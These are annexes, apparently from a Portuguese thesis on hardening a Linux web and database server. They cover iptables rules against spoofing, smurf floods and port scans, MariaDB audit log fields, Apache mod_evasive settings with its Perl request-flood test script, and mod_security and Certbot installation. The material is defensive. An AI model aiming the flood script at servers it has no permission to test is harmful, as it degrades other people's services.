iptables -A INPUT -s 240.0.0.0/5 -j DROP 
iptables -A INPUT -d 240.0.0.0/5 -j DROP 
iptables -A INPUT -s 0.0.0.0/8 -j DROP 
iptables -A INPUT -d 0.0.0.0/8 -j DROP 
iptables -A INPUT -d 239.255.255.0/24 -j DROP 
iptables -A INPUT -d 255.255.255.255 -j DROP 
 
#for SMURF attack protection 
iptables -A INPUT -p icmp -m icmp --icmp-type address-mask-request 
-j DROP 
iptables -A INPUT -p icmp -m icmp --icmp-type timestamp-request -j 
DROP 
iptables -A INPUT -p icmp -m icmp -m limit --limit 1/second -j 
ACCEPT 
 
# Droping all invalid packets 
iptables -A INPUT -m state --state INVALID -j DROP 
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iptables -A FORWARD -m state --state INVALID -j DROP 
iptables -A OUTPUT -m state --state INVALID -j DROP 
 
# flooding of RST packets, smurf attack Rejection 
iptables -A INPUT -p tcp -m tcp --tcp-flags RST RST -m limit --
limit 2/second --limit-burst 2 -j ACCEPT 
 
# Protecting portscans 
# Attacking IP will be locked for 24 hours (3600 x 24 = 86400 
Seconds) 
iptables -A INPUT -m recent --name portscan --rcheck --seconds 
86400 -j DROP 
iptables -A FORWARD -m recent --name portscan --rcheck --seconds 
86400 -j DROP 
 
# Remove attacking IP after 24 hours 
iptables -A INPUT -m recent --name portscan --remove 
iptables -A FORWARD -m recent --name portscan --remove 
 
# These rules add scanners to the portscan list, and log the 
attempt. 
iptables -A INPUT -p tcp -m tcp --dport 139 -m recent --name 
portscan --set -j LOG --log-prefix "portscan:" 
iptables -A INPUT -p tcp -m tcp --dport 139 -m recent --name 
portscan --set -j DROP 
 
iptables -A FORWARD -p tcp -m tcp --dport 139 -m recent --name 
portscan --set -j LOG --log-prefix "portscan:" 
iptables -A FORWARD -p tcp -m tcp --dport 139 -m recent --name 
portscan --set -j DROP 
 
# Allow the following ports through from outside 
iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT 
iptables -A INPUT -p tcp -m tcp --dport 443 -j ACCEPT 
iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT 
iptables -A INPUT -p tcp -m tcp --dport 50001 -j ACCEPT 
 
# Allow ping means ICMP port is open (If you do not want ping 
replace ACCEPT with REJECT) 
iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT 
 
# Lastly reject All INPUT traffic 
iptables -A INPUT -j REJECT 
 
################# Below are for OUTPUT iptables rules 
############################################# 
 
## Allow loopback OUTPUT  
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iptables -A OUTPUT -o lo -j ACCEPT 
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT 
 
# Allow the following ports through from outside  
# SMTP = 25 
# DNS =53 
# HTTP = 80 
# HTTPS = 443 
# SSH = 22 
# MySQL = 50001  
### You can also add or remove port no. as per your requirement 
 
iptables -A OUTPUT -p tcp -m tcp --dport 25 -j ACCEPT 
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT 
iptables -A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT 
iptables -A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT 
iptables -A OUTPUT -p tcp -m tcp --dport 22 -j ACCEPT 
iptables -A OUTPUT -p tcp -m tcp --dport 50001 -j ACCEPT 
# Allow pings 
iptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT 
 
# Lastly Reject all Output traffic 
iptables -A OUTPUT -j REJECT 
 
## Reject Forwarding  traffic 
iptables -A FORWARD -j REJECT 
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Anexo B.3 – Operações suportadas pelo plugin Audit. 
 
Operação Descrição 
CONNECT Guarda as ligações, interrupções de ligação e tentativas de ligação 
falhadas. 
TABLE Tabelas afetadas pela execução da query. 
QUERY Faz referência às queries que são executadas (em texto simples), 
incluindo queries que falharam quer por erros de sintaxe ou 
permissão.  
QUERY_DDL Equivalente ao QUERY mas guarda apenas as queries com comandos 
Data Definition Language (DDL), como o CREATE, ALTER e DROP 
por exemplo. 
QUERY_DML Equivalente ao QUERY mas guarda apenas as queries com comandos 
Data Manipulation Language (DML), como o SELECT, INSERT e 
DELETE por exemplo. 
QUERY_DCL Equivalente ao QUERY mas guarda apenas as queries com comandos 
Data Control Language (DCL), o GRANT e REVOKE. 
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Anexo B.4 – Ficheiro de log da auditoria 
Neste anexo estão descritos os campos presentes no ficheiro log da auditoria da MariaDB 
[55]. Este ficheiro pode ter dois formatos. Formato por omissão: 
 
[timestamp],[serverhost],[username],[host],[connectionid],[queryid],[o
peration],[database],[object],[retcode] 
 
Variável server_audit_output_type definida para SYSLOG, o ficheiro log fica 
com o seguinte formato: 
 
[timestamp][syslog_host][syslog_ident]:[syslog_info][serverhost],[user
name],[host],[connectionid],[queryid],[operation],[database],[object],
[retcode] 
 
Item Descrição 
timestamp Tempo em que ocorreu o evento. Se estiver a ser utilizado 
o syslog o formato vai ser definido pelo serviço syslogd. 
syslog_host Host de onde foi recebida a entrada no syslog. 
syslog_ident Identificação da entrada no log do sistema, incluindo o 
servidor da MariaDB. 
syslog_info Fornece informações para identificação de uma entrada no 
log do sistema. 
serverhost Nome do host do servidor da MariaDB. 
username Utilizador que se conectou ao servidor.  
host Host de onde o utilizador fez a ligação. 
connectionid Número de identificação de ligação para a operação 
relacionada. 
queryid Número de identificação da query.  
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Item Descrição 
operation Ações guardadas: CONNECT, QUERY, READ, WRITE, 
CREATE, ALTER, RENAME, DROP. 
database Base de dados ativa. 
object Query executada para os eventos QUERY, ou o nome da 
tabela no caso de eventos TABLE. 
retcode Código de retorno da operação de guardada. 
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Anexo C – Anexos referentes ao Apache HTTP Server 
Anexo C.1 – Diretivas de configuração do mod_evasive 
Diretiva Descrição 
DOSHashTableSize Tamanho da tabela utilizada para guardar os endereços IP. 
Quanto maior for o valor, mais rápida será feita a pesquisa 
na tabela. 
DOSPageCount Número de páginas permitidas no intervalo de tempo 
definido pela diretiva DOSPageInterval. 
DOSPageInterval Tempo em segundos utilizado pela diretiva DOSPageCount.  
DOSSiteCount Número de objetos permitidos no intervalo de tempo 
definido pela diretiva DOSSiteInterval. 
DOSSiteInterval Tempo em segundos utilizado pela diretiva DOSSiteCount. 
DOSBlockingPeriod Tempo em segundos que um endereço IP vai ficar 
bloqueado. Se um endereço bloqueado tentar fazer uma 
ligação, a contagem reinicia.  
DOSLogDir Diretório onde são guardados os ficheiros de log. É uma 
diretiva opcional, desativa por omissão. 
DOSEmailNotify Notificações por e-mail. Para que esta diretiva funcione é 
preciso ter um servidor de e-mail configurado. É uma 
diretiva opcional, desativa por omissão. 
DOSWhitelist Lista de endereços IP que não são bloqueados. É uma 
diretiva opcional, desativa por omissão. 
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Anexo C.2 – Script de teste do mod_evasive 
Abaixo está presente o script original para testar a configuração, fornecido aquando da 
instalação do módulo mod_evasive.  
 
#!/usr/bin/perl 
 
# test.pl: small script to test mod_dosevasive's effectiveness 
 
use IO::Socket; 
use strict; 
 
for(0..100) { 
  my($response); 
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp", 
                                      PeerAddr=> "127.0.0.1:80"); 
  if (! defined $SOCKET) { die $!; } 
  print $SOCKET "GET /?$_ HTTP/1.0\n\n"; 
  $response = <$SOCKET>; 
  print $response; 
  close($SOCKET); 
} 
 
Testado o script houve a necessidade de fazer-se alterações a este, nomeadamente em 
questão de endereços e no método HTTP, que no script original, a forma de executar o 
pedido estaria desatualizada. Abaixo é mostrado o script alterado. 
 
#!/usr/bin/perl 
 
use IO::Socket; 
use strict; 
 
for(0..100) { 
  my($response); 
  my($SOCKET) = new IO::Socket::INET( Proto => "tcp", 
                                        PeerAddr => 
"192.168.1.137:80"); 
  if (! defined $SOCKET) { die $!; } 
  print $SOCKET "GET /?$_ HTTP/1.1\r\nHost: 192.168.1.137\r\n\r\n"; 
  $response = <$SOCKET>; 
  print $response; 
  close($SOCKET); 
} 
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Anexo C.3 – Instalação mod_security 
Para se proceder à instalação do módulo mod_security foram executados os seguintes 
comandos: 
 
# Instalação de pré-requisitos 
yum install gcc make httpd-devel libxml2 pcre-devel 
libxml2-devel curl-devel git 
 
cd /opt 
 
# Transferência do módulo 
wget https://www.modsecurity.org/tarball/2.9.2/modsecurity-
2.9.2.tar.gz 
 
# Descompactação do ficheiro 
tar xzfv modsecurity-2.9.2.tar.gz 
 
cd modsecurity-2.9.2 
 
# Script de configuração do módulo 
./configure 
 
# Instalação do módulo 
make install 
 
# Cópia dos ficheiros de configuração para o diretório do 
Apache 
cp modsecurity.conf-recommended 
/etc/httpd/conf.d/modsecurity.conf 
cp unicode.mapping /etc/httpd/conf.d/ 
 
# Adicionar o modulo ao ficheiro de configuração 
# LoadModule security2_module modules/mod_security2.so 
vim /etc/httpd/conf.modules.d/00-base.conf 
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Anexo C.4 – Instalação do Certbot 
Para se proceder à instalação do Certbot é necessário fazer os seguintes passos [163]: 
 
# No ficheiro /etc/yum.repos.d/public-yum-ol7.repo ativar o 
repositário ol7_optional_latest com a opção enabled=1 
 
[ol7_optional_latest] 
name=Oracle Linux $releasever Optional Latest ($basearch) 
baseurl=http://yum.oracle.com/repo/OracleLinux/OL7/optional
/latest/$basearch/ 
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-oracle 
gpgcheck=1 
enabled=1 
 
# Ativar o repositório EPEL  
cd /tmp 
wget https://dl.fedoraproject.org/pub/epel/epel-release-
latest-7.noarch.rpm 
rmp -Uvh /tmp/epel-release-latest-7.noarch.rpm 
 
# Instalação do Certbot 
sudo yum install python-certbot-apache -y 
